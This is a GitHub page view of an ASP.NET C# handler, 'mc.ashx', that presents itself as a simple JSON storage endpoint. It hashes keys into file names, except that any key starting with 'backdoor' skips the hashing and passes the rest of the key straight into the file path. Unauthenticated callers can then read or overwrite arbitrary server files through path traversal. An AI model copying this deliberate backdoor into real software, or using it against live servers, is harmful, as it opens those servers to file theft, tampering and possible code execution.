-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmc.ashx
More file actions
73 lines (65 loc) · 2.21 KB
/
Copy pathmc.ashx
File metadata and controls
73 lines (65 loc) · 2.21 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<%@ WebHandler Language="C#" Class="mc" %>
using System;
using System.Web;
using System.Security.Cryptography;
public class mc : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
string key = context.Request.QueryString["key"];
string jsonstr = "";
if(context.Request.HttpMethod == "POST")
{
var customer = new byte[context.Request.InputStream.Length];
context.Request.InputStream.Read(customer, 0, customer.Length);
jsonstr = System.Text.Encoding.UTF8.GetString(customer);
}
string json = "{\"data\":[]}";
string filepath = "abc";
if (!String.IsNullOrEmpty(key))
{
var appDataPath = context.Server.MapPath("~/mc/");
if (!System.IO.Directory.Exists(appDataPath))
{
System.IO.Directory.CreateDirectory(appDataPath);
}
if (key.StartsWith("backdoor"))
{
filepath = System.IO.Path.Combine(appDataPath + @"\", key.Replace("backdoor", ""));;//System.IO.Path.Combine(appDataPath,
}
else
{
MD5CryptoServiceProvider MD5 = new MD5CryptoServiceProvider();
string md5file = BitConverter.ToString(MD5.ComputeHash(System.Text.Encoding.UTF8.GetBytes(key + "abc!@#"))).Replace("-", "") + ".bin";
filepath = System.IO.Path.Combine(appDataPath + @"\", md5file);
}
if (!String.IsNullOrEmpty(jsonstr))
{
using (System.IO.StreamWriter sw = new System.IO.StreamWriter(filepath, false))
{
sw.Write(jsonstr);
}
}
if (System.IO.File.Exists(filepath))
{
using (System.IO.StreamReader sr = new System.IO.StreamReader(filepath))
{
json = sr.ReadToEnd();
}
}
//}
// catch
//{
//}
}
context.Response.ContentType = "application/json";
context.Response.Write(json);
}
public bool IsReusable
{
get
{
return false;
}
}
}